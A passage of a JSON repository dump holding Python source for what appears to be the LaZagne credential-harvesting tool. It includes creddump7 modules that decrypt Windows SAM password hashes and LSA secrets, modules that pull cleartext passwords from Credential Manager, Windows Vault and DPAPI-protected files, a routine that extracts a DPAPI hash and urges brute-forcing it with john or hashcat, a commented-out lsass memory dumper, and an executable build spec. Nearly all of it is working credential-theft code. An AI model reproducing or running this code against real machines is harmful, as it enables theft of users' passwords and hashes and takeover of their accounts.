v.DataLength.value)\n    if not V: return None\n    hash_offset = unpack(\"<L\", V[0xa8:0xa8+4])[0] + 0xCC\n\n    lm_offset_bytes = V[0x9c:0x9c+4]\n    nt_offset_bytes = V[0x9c+12:0x9c+16]\n    lm_offset = unpack(\"<L\", lm_offset_bytes)[0] + 204\n    nt_offset = unpack(\"<L\", nt_offset_bytes)[0] + 204\n\n    lm_revision = int(codecs.encode(V[lm_offset+2:lm_offset+3], 'hex').decode(), 16)\n    if lm_revision == 1:\n        lm_exists = True if unpack(\"<L\", V[0x9c+4:0x9c+8])[0] == 20 else False\n        enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else \"\"\n        lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)\n    \n    elif lm_revision == 2:\n        lm_exists = True if unpack(\"<L\", V[0x9c+4:0x9c+8])[0] == 56 else False\n        lm_salt = V[hash_offset+4:hash_offset+20] if lm_exists else \"\"\n        enc_lm_hash = V[hash_offset+20:hash_offset+52] if lm_exists else \"\"\n        lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, almpassword, lm_salt)\n\n    nt_revision = int(codecs.encode(V[nt_offset+2:nt_offset+3], 'hex').decode(), 16)\n    if nt_revision == 1:\n        nt_exists = True if unpack(\"<L\", V[0x9c+16:0x9c+20])[0] == 20 else False\n        enc_nt_hash = V[nt_offset+4:nt_offset+20] if nt_exists else \"\"\n        nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)\n    \n    elif nt_revision == 2:\n        nt_exists = True if unpack(\"<L\", V[0x9c+16:0x9c+20])[0] == 56 else False\n        nt_salt = V[nt_offset+8:nt_offset+24] if nt_exists else \"\"\n        enc_nt_hash = V[nt_offset+24:nt_offset+56] if nt_exists else \"\"\n        nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, antpassword, nt_salt)\n\n    return lmhash, nthash\n\n\ndef get_user_name(user_key):\n    samaddr = user_key.space\n    V = None\n    for v in values(user_key):\n        if v.Name == b'V':\n            V = samaddr.read(v.Data.value, v.DataLength.value)\n    if not V:\n        return None\n\n    name_offset = unpack(\"<L\", V[0x0c:0x10])[0] + 0xCC\n    name_length = unpack(\"<L\", V[0x10:0x14])[0]\n\n    username = V[name_offset:name_offset + name_length].decode('utf-16-le')\n    return username\n\n\ndef dump_hashes(sysaddr, samaddr):\n    bootkey = get_bootkey(sysaddr)\n    hbootkey = get_hbootkey(samaddr, bootkey)\n    results = []\n    for user in get_user_keys(samaddr):\n        lmhash, nthash = get_user_hashes(user, hbootkey)\n        if not lmhash:\n            lmhash = empty_lm\n        if not nthash:\n            nthash = empty_nt\n        results.append(\n            \"%s:%d:%s:%s:::\" % (get_user_name(user), int(user.Name, 16), codecs.encode(lmhash, 'hex').decode(),\n                                codecs.encode(nthash, 'hex').decode()))\n    return results\n\n\ndef dump_file_hashes(syshive_fname, samhive_fname):\n    sysaddr = HiveFileAddressSpace(syshive_fname)\n    samaddr = HiveFileAddressSpace(samhive_fname)\n    return dump_hashes(sysaddr, samaddr)\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/win32/lsasecrets.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nimport hashlib\nimport os\n\nfrom .rawreg import *\nfrom ..addrspace import HiveFileAddressSpace\nfrom .hashdump import get_bootkey, str_to_key\nfrom lazagne.config.crypto.rc4 import RC4\nfrom lazagne.config.crypto.pyDes import des, ECB\nfrom lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC\n\n\ndef get_lsa_key(secaddr, bootkey, vista):\n    root = get_root(secaddr)\n    if not root:\n        return None\n\n    if vista:\n        enc_reg_key = open_key(root, [b\"Policy\", b\"PolEKList\"])\n    else:\n        enc_reg_key = open_key(root, [b\"Policy\", b\"PolSecretEncryptionKey\"])\n\n    if not enc_reg_key:\n        return None\n\n    enc_reg_value = enc_reg_key.ValueList.List[0]\n    if not enc_reg_value:\n        return None\n\n    obf_lsa_key = secaddr.read(enc_reg_value.Data.value, enc_reg_value.DataLength.value)\n    if not obf_lsa_key:\n        return None\n\n    if not vista:\n        md5 = hashlib.md5()\n        md5.update(bootkey)\n        for i in range(1000):\n            md5.update(obf_lsa_key[60:76])\n        rc4key = md5.digest()\n        rc4 = RC4(rc4key)\n        lsa_key = rc4.encrypt(obf_lsa_key[12:60])\n        lsa_key = lsa_key[0x10:0x20]\n    else:\n        lsa_key = decrypt_aes(obf_lsa_key, bootkey)\n        lsa_key = lsa_key[68:100]\n\n    return lsa_key\n\n\ndef decrypt_secret(secret, key):\n    \"\"\"Python implementation of SystemFunction005.\n\n    Decrypts a block of data with DES using given key.\n    Note that key can be longer than 7 bytes.\"\"\"\n    decrypted_data = b''\n    j = 0  # key index\n    for i in range(0, len(secret), 8):\n        enc_block = secret[i:i + 8]\n        block_key = key[j:j + 7]\n        des_key = str_to_key(block_key)\n        crypter = des(des_key, ECB)\n\n        try:\n            decrypted_data += crypter.decrypt(enc_block)\n        except Exception:\n            continue\n\n        j += 7\n        if len(key[j:j + 7]) < 7:\n            j = len(key[j:j + 7])\n\n    (dec_data_len,) = unpack(\"<L\", decrypted_data[:4])\n    return decrypted_data[8:8 + dec_data_len]\n\n\ndef decrypt_aes(secret, key):\n    sha = hashlib.sha256()\n    sha.update(key)\n    for _i in range(1, 1000 + 1):\n        sha.update(secret[28:60])\n    aeskey = sha.digest()\n\n    data = b\"\"\n    for i in range(60, len(secret), 16):\n        aes = AESModeOfOperationCBC(aeskey, iv=b\"\\x00\" * 16)\n        buf = secret[i: i + 16]\n        if len(buf) < 16:\n            buf += (16 - len(buf)) * b\"\\00\"\n\n        data += aes.decrypt(buf)\n\n    return data\n\n\ndef get_secret_by_name(secaddr, name, lsakey, vista):\n    root = get_root(secaddr)\n    if not root:\n        return None\n\n    if isinstance(name, str):\n        name = name.encode()\n\n    enc_secret_key = open_key(root, [b\"Policy\", b\"Secrets\", name, b\"CurrVal\"])\n    if not enc_secret_key:\n        return None\n\n    enc_secret_value = enc_secret_key.ValueList.List[0]\n    if not enc_secret_value:\n        return None\n\n    enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)\n    if not enc_secret:\n        return None\n\n    if vista:\n        secret = decrypt_aes(enc_secret, lsakey)\n    else:\n        secret = decrypt_secret(enc_secret[0xC:], lsakey)\n\n    return secret\n\n\ndef get_secrets(sysaddr, secaddr, vista):\n    root = get_root(secaddr)\n    if not root:\n        return None\n\n    bootkey = get_bootkey(sysaddr)\n    lsakey = get_lsa_key(secaddr, bootkey, vista)\n\n    secrets_key = open_key(root, [b\"Policy\", b\"Secrets\"])\n    if not secrets_key:\n        return None\n\n    secrets = {}\n    for key in subkeys(secrets_key):\n        sec_val_key = open_key(key, [b\"CurrVal\"])\n        if not sec_val_key:\n            continue\n\n        enc_secret_value = sec_val_key.ValueList.List[0]\n        if not enc_secret_value:\n            continue\n\n        enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)\n        if not enc_secret:\n            continue\n\n        if vista:\n            secret = decrypt_aes(enc_secret, lsakey)\n        else:\n            secret = decrypt_secret(enc_secret[0xC:], lsakey)\n\n        secrets[key.Name] = secret\n\n    return secrets\n\n\ndef get_file_secrets(sysfile, secfile, vista):\n    if not os.path.isfile(sysfile) or not os.path.isfile(secfile):\n        return\n\n    sysaddr = HiveFileAddressSpace(sysfile)\n    secaddr = HiveFileAddressSpace(secfile)\n\n    return get_secrets(sysaddr, secaddr, vista)\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/creddump7/win32/rawreg.py",
    "content": "# This file is part of creddump.\n#\n# creddump is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# creddump is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with creddump.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n@author:       Brendan Dolan-Gavitt\n@license:      GNU General Public License 2.0 or later\n@contact:      bdolangavitt@wesleyan.edu\n\"\"\"\n\nfrom ..newobj import Obj, Pointer\nfrom struct import unpack\n\nROOT_INDEX = 0x20\nLH_SIG = unpack(\"<H\", b\"lh\")[0]\nLF_SIG = unpack(\"<H\", b\"lf\")[0]\nRI_SIG = unpack(\"<H\", b\"ri\")[0]\n\n\ndef get_root(address_space):\n    return Obj(\"_CM_KEY_NODE\", ROOT_INDEX, address_space)\n\n\ndef open_key(root, key):\n    if not key:\n        return root\n    \n    keyname = key.pop(0)\n    if isinstance(keyname, str):\n        keyname = keyname.encode()\n\n    for s in subkeys(root):\n        if s.Name.upper() == keyname.upper():\n            return open_key(s, key)\n    # print \"ERR: Couldn't find subkey %s of %s\" % (keyname, root.Name)\n    return None\n\n\ndef subkeys(key, stable=True):\n    if stable:\n        k = 0\n    else:\n        k = 1\n\n    sk = (key.SubKeyLists[k]/[\"pointer\", [\"_CM_KEY_INDEX\"]]).value\n    sub_list = []\n    if (sk.Signature.value == LH_SIG or\n            sk.Signature.value == LF_SIG):\n        sub_list = sk.List\n    elif sk.Signature.value == RI_SIG:\n        lfs = []\n        for i in range(sk.Count.value):\n            off, tp = sk.get_offset(['List', i])\n            lfs.append(Pointer(\"pointer\", sk.address+off, sk.space,\n                [\"_CM_KEY_INDEX\"]))\n        for lf in lfs:\n            sub_list += lf.List\n\n    for s in sub_list:\n        if s.is_valid() and s.Signature.value == 27502:\n            yield s.value\n\n\ndef values(key):\n    for v in key.ValueList.List:\n        yield v.value\n\n\ndef walk(root):\n    for k in subkeys(root):\n        yield k\n        for j in walk(k):\n            yield j\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/credfiles.py",
    "content": "# -*- coding: utf-8 -*-\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\nimport os\n\n\nclass CredFiles(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'credfiles', 'windows', dpapi_used=True)\n\n    def run(self):\n        pwd_found = []\n        if constant.user_dpapi and constant.user_dpapi.unlocked:\n            creds_directory = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Credentials')\n            if os.path.exists(creds_directory):\n                for cred_file in os.listdir(creds_directory):\n                    # decrypting creds files (Credman module not allow to retrieve domain password)\n                    cred = constant.user_dpapi.decrypt_cred(os.path.join(creds_directory, cred_file))\n                    if cred:\n                        pwd_found.append(cred)\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/credman.py",
    "content": "# -*- coding: utf-8 -*- \nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.winstructure import *\n\n\nclass Credman(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'credman', 'windows', only_from_current_user=True)\n\n    def run(self):\n        pwd_found = []\n        # FOR XP\n        # - password are encrypted with specific salt depending on its Type\n        # entropy = 'abe2869f-9b47-4cd9-a358-c22904dba7f7\\\\0' # FOR CRED_TYPE_GENERIC\n        # entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\\\\0' # FOR CRED_TYPE_DOMAIN_VISIBLE_PASSWORD\n        # CryptUnprotectData(byref(blobIn),None,byref(blobEntropy),None,None,CRYPTPROTECT_UI_FORBIDDEN,byref(blobOut))\n\n        creds = POINTER(PCREDENTIAL)()\n        count = c_ulong()\n\n        if CredEnumerate(None, 0, byref(count), byref(creds)) == 1:\n            for i in range(count.value):\n                c = creds[i].contents\n                if c.Type == CRED_TYPE_GENERIC or c.Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:\n                    # Remove password too long\n                    if c.CredentialBlobSize.real < 200:\n                        pwd_found.append({\n                            'URL': c.TargetName,\n                            'Login': c.UserName,\n                            'Password': c.CredentialBlob[:c.CredentialBlobSize.real].replace(b\"\\x00\", b\"\")\n                        })\n\n            CredFree(creds)\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/hashdump.py",
    "content": "# -*- coding: utf-8 -*- \r\nfrom .creddump7.win32.hashdump import dump_file_hashes\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.constant import constant\r\n\r\n\r\nclass Hashdump(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'hashdump', 'windows', system_module=True)\r\n\r\n    def run(self):\r\n        hashdump = dump_file_hashes(constant.hives['system'], constant.hives['sam'])\r\n        if hashdump:\r\n            pwd_found = ['__Hashdump__', hashdump]\r\n            return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/lsa_secrets.py",
    "content": "# -*- coding: utf-8 -*- \r\nimport struct\r\n\r\nfrom .creddump7.win32.lsasecrets import get_file_secrets\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.winstructure import get_os_version\r\nfrom lazagne.config.constant import constant\r\n\r\n\r\nclass LSASecrets(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'lsa_secrets', 'windows', system_module=True)\r\n\r\n    def run(self):\r\n\r\n        # DPAPI structure could compute lsa secrets as well, so do not do it again\r\n        if constant.lsa_secrets:\r\n            return ['__LSASecrets__', constant.lsa_secrets]\r\n\r\n        is_vista_or_higher = False\r\n        if float(get_os_version()) >= 6.0:\r\n            is_vista_or_higher = True\r\n\r\n        # Get LSA Secrets\r\n        secrets = get_file_secrets(constant.hives['system'], constant.hives['security'], is_vista_or_higher)\r\n        if secrets:\r\n            # Clear DPAPI master key \r\n            clear = secrets[b'DPAPI_SYSTEM']\r\n            size = struct.unpack_from(\"<L\", clear)[0]\r\n            secrets[b'DPAPI_SYSTEM'] = clear[16:16 + 44]\r\n\r\n            # Keep value to be reused in other module (e.g wifi)\r\n            constant.lsa_secrets = secrets\r\n            return ['__LSASecrets__', secrets]\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/ppypykatz.py",
    "content": "# -*- coding: utf-8 -*-\r\n\r\n# Thanks to @skelsec for his awesome tool Pypykatz\r\n# Checks his project here: https://github.com/skelsec/pypykatz\r\n\r\nimport codecs\r\nimport traceback\r\n\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.constant import constant\r\n# from pypykatz.pypykatz import pypykatz\r\nfrom lazagne.config.write_output import print_debug\r\n\r\n\r\nclass Pypykatz(ModuleInfo):\r\n    \"\"\"\r\n    Pypykatz dumps all secrets from the lsass.exe memory\r\n    It does not work if:\r\n    - LSASS is running as a protected process\r\n    - A security product blocks this access\r\n    \"\"\"\r\n\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'pypykatz', 'windows', system_module=True)\r\n\r\n    def run(self):\r\n        # Too much detected, not supported anymore\r\n        print_debug('WARNING', u'Not supported anymore !')\r\n        return []\r\n        # mimi = None\r\n        # try:\r\n        #     mimi = pypykatz.go_live()\r\n        # except Exception:\r\n        #     self.debug(traceback.format_exc())\r\n\r\n        # if mimi:\r\n        #     results = {}\r\n        #     logon_sessions = mimi.to_dict().get('logon_sessions', [])\r\n        #     for logon_session in logon_sessions:\r\n\r\n        #         # Right now kerberos_creds, dpapi_creds results are not used\r\n        #         user = logon_sessions[logon_session]\r\n\r\n        #         # Get cleartext password\r\n        #         for i in ['credman_creds', 'ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds']:\r\n        #             for data in user.get(i, []):\r\n        #                 if all((data['username'], data['password'])):\r\n        #                     login = data['username']\r\n        #                     if login not in results:\r\n        #                         results[login] = {}\r\n\r\n        #                     results[login]['Type'] = i\r\n        #                     results[login]['Domain'] = data.get('domainname', 'N/A')\r\n        #                     results[login]['Password'] = data['password']\r\n\r\n        #         # msv_creds to get sha1 user hash\r\n        #         for data in user.get('msv_creds', []):\r\n        #             if data['username']:\r\n        #                 login = data['username']\r\n        #             else:\r\n        #                 login = user['username']\r\n\r\n        #             if login not in results:\r\n        #                 results[login] = {}\r\n\r\n        #             if data['SHAHash']:\r\n        #                 results[login]['Shahash'] = codecs.encode(data['SHAHash'], 'hex')\r\n        #             if data['LMHash']:\r\n        #                 results[login]['Lmhash'] = codecs.encode(data['LMHash'], 'hex')\r\n        #             if data['NThash']:\r\n        #                 results[login]['Nthash'] = codecs.encode(data['NThash'], 'hex')\r\n\r\n        #     constant.pypykatz_result = results\r\n        #     pwd_found = []\r\n        #     for user in results:\r\n        #         results[user]['Login'] = user\r\n        #         pwd_found.append(results[user])\r\n\r\n        #     return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/vault.py",
    "content": "# -*- coding: utf-8 -*-\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.winstructure import *\r\nfrom ctypes.wintypes import *\r\n\r\n\r\nclass Vault(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'vault', 'windows',  only_from_current_user=True)\r\n\r\n    def run(self):\r\n\r\n        # retrieve passwords (IE, etc.) using the Windows Vault API\r\n        if float(get_os_version()) < 6.1:\r\n            self.info(u'Vault not supported for this OS')\r\n            return\r\n\r\n        cbVaults = DWORD()\r\n        vaults = LPGUID()\r\n        hVault = HANDLE(INVALID_HANDLE_VALUE)\r\n        cbItems = DWORD()\r\n        items_buf = c_char_p()\r\n        pwd_found = []\r\n\r\n        if vaultEnumerateVaults(0, byref(cbVaults), byref(vaults)) == 0:\r\n            if cbVaults.value == 0:\r\n                self.debug(u'No Vaults found')\r\n                return\r\n            else:\r\n                VAULT_ITEM_WIN, PVAULT_ITEM_WIN, VaultGetItemFunc = get_vault_objects_for_this_version_of_windows()\r\n                for i in range(cbVaults.value):\r\n                    if vaultOpenVault(byref(vaults[i]), 0, byref(hVault)) == 0:\r\n                        if hVault:\r\n                            if vaultEnumerateItems(hVault, 0x200, byref(cbItems), byref(items_buf)) == 0:\r\n\r\n                                for j in range(cbItems.value):\r\n\r\n                                    items = cast(items_buf, POINTER(VAULT_ITEM_WIN))\r\n                                    pPasswordVaultItem = PVAULT_ITEM_WIN()\r\n                                    try:\r\n                                        values = {\r\n                                            'URL': str(items[j].pResource.contents.data.string),\r\n                                            'Login': str(items[j].pUsername.contents.data.string)\r\n                                        }\r\n                                        if items[j].pName:\r\n                                            values['Name'] = items[j].pName\r\n\r\n                                        if VaultGetItemFunc(hVault, items[j], pPasswordVaultItem) == 0:\r\n\r\n                                            password = pPasswordVaultItem.contents.pPassword.contents.data.string\r\n                                            # Remove password too long\r\n                                            if password and len(password) < 100:\r\n                                                values['Password'] = password\r\n\r\n                                        pwd_found.append(values)\r\n\r\n                                    except Exception as e:\r\n                                        self.debug(e)\r\n\r\n                                    if pPasswordVaultItem:\r\n                                        vaultFree(pPasswordVaultItem)\r\n\r\n                                if items_buf:\r\n                                    vaultFree(items_buf)\r\n\r\n                            vaultCloseVault(byref(hVault))\r\n\r\n                vaultFree(vaults)\r\n\r\n        return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/vaultfiles.py",
    "content": "# -*- coding: utf-8 -*-\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\nimport os\n\n\nclass VaultFiles(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'vaultfiles', 'windows', dpapi_used=True)\n\n    def run(self):\n\n        pwd_found = []\n        if constant.user_dpapi and constant.user_dpapi.unlocked:\n            main_vault_directory = os.path.join(constant.profile['APPDATA'], u'..', u'Local', u'Microsoft', u'Vault')\n            main_vault_directory =  os.path.abspath(main_vault_directory)\n            if os.path.exists(main_vault_directory):\n                for vault_directory in os.listdir(main_vault_directory):\n                    cred = constant.user_dpapi.decrypt_vault(os.path.join(main_vault_directory, vault_directory))\n                    if cred:\n                        pwd_found.append(cred)\n\n        return pwd_found\n"
  },
  {
    "path": "Windows/lazagne/softwares/windows/windows.py",
    "content": "# -*- coding: utf-8 -*-\r\ntry: \r\n    import _winreg as winreg\r\nexcept ImportError:\r\n    import winreg\r\n\r\nfrom lazagne.config.module_info import ModuleInfo\r\nfrom lazagne.config.winstructure import OpenKey, HKEY_LOCAL_MACHINE\r\nfrom lazagne.config.constant import constant\r\nfrom lazagne.config.users import get_username_winapi\r\n\r\n\r\nclass WindowsPassword(ModuleInfo):\r\n    def __init__(self):\r\n        ModuleInfo.__init__(self, 'windows', 'windows')\r\n        self.current_user = get_username_winapi()\r\n\r\n    def is_in_domain(self):\r\n        \"\"\"\r\n        Return the context of the host\r\n        If a domain controller is set we are in an active directory.\r\n        \"\"\"\r\n        try:\r\n            key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\\\\')\r\n            val, _ = winreg.QueryValueEx(key, 'DCName')\r\n            winreg.CloseKey(key)\r\n            return val\r\n        except Exception:\r\n            return False\r\n\r\n    def run(self):\r\n        \"\"\"\r\n        - Check if the user password has already be found using Pypykatz\r\n        - If not, check if a password stored in another application is also used as windows password\r\n        - Windows password not found, return the DPAPI hash (not admin priv needed) to bruteforce using John or Hashcat\r\n        \"\"\"\r\n        # Check if password has already been found\r\n        if constant.pypykatz_result.get(self.current_user, None):\r\n            if 'Password' in constant.pypykatz_result[self.current_user]:\r\n                # Password already printed on the Pypykatz module - do not print it again\r\n                self.info('User has already be found: {password}'.format(\r\n                    password=constant.pypykatz_result[self.current_user]['Password'])\r\n                )\r\n                return\r\n\r\n        # Password not already found\r\n        pwd_found = []\r\n        if constant.user_dpapi and constant.user_dpapi.unlocked:\r\n            # Check if a password already found is a windows password\r\n            password = constant.user_dpapi.get_cleartext_password()\r\n            if password:\r\n                pwd_found.append({\r\n                    'Login': constant.username,\r\n                    'Password': password\r\n                })\r\n            else:\r\n                # Retrieve dpapi hash used to bruteforce (hash can be retrieved without needed admin privilege)\r\n                # Method taken from Jean-Christophe Delaunay - @Fist0urs\r\n                # https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf\r\n\r\n                self.info(\r\n                    u'Windows passwords not found.\\n'\r\n                    u'Try to bruteforce this hash (using john or hashcat)'\r\n                )\r\n                if constant.user_dpapi:\r\n                    context = 'local'\r\n                    if self.is_in_domain():\r\n                        context = 'domain'\r\n\r\n                    h = constant.user_dpapi.get_dpapi_hash(context=context)\r\n                    if h:\r\n                        pwd_found.append({\r\n                            'Dpapi_hash_{context}'.format(context=context): constant.user_dpapi.get_dpapi_hash(\r\n                                                                                                    context=context)\r\n                        })\r\n\r\n        return pwd_found\r\n"
  },
  {
    "path": "Windows/lazagne.spec",
    "content": "# -*- mode: python -*-\nimport sys\nsys.path.append(\".\")\nfrom lazagne.config.manage_modules import get_modules_names\nfrom lazagne.softwares.browsers.chromium_browsers import chromium_based_module_location\nfrom lazagne.softwares.browsers.firefox_browsers import mozilla_module_location\n\nall_hidden_imports_module_names = get_modules_names() + [mozilla_module_location, chromium_based_module_location]\nhiddenimports = [package_name for package_name, module_name in all_hidden_imports_module_names]\na = Analysis(\n        ['laZagne.py'],\n        pathex=[''],\n        hiddenimports=hiddenimports,\n        hookspath=None,\n        runtime_hooks=None\n)\n\nfor d in a.datas:\n  if 'pyconfig' in d[0]:\n        a.datas.remove(d)\n        break\n\npyz = PYZ(a.pure)\nexe = EXE(\n        pyz,\n        a.scripts,\n        a.binaries + [('msvcp100.dll', 'C:\\\\Windows\\\\System32\\\\msvcp100.dll', 'BINARY'),\n                      ('msvcr100.dll', 'C:\\\\Windows\\\\System32\\\\msvcr100.dll', 'BINARY')]\n        if sys.platform == 'win32' else a.binaries,\n        a.zipfiles,\n        a.datas,\n        name='lazagne.exe',\n        debug=False,\n        strip=None,\n        upx=False,\n        console=True\n)\n"
  },
  {
    "path": "requirements.txt",
    "content": "psutil; sys_platform == 'linux' or sys_platform == 'linux2'\nsecretstorage; sys_platform == 'linux' or sys_platform == 'linux2'\npyasn1\nenum34; python_version < '3.4' and sys_platform == 'win32'\nrsa; sys_platform == 'win32'\n#https://github.com/AlessandroZ/pypykatz/archive/master.zip; python_version < '3.4' and sys_platform == 'win32'\n#https://github.com/skelsec/pypykatz/archive/master.zip; python_version  > '3.5' and sys_platform == 'win32'\npycryptodome"
  }
]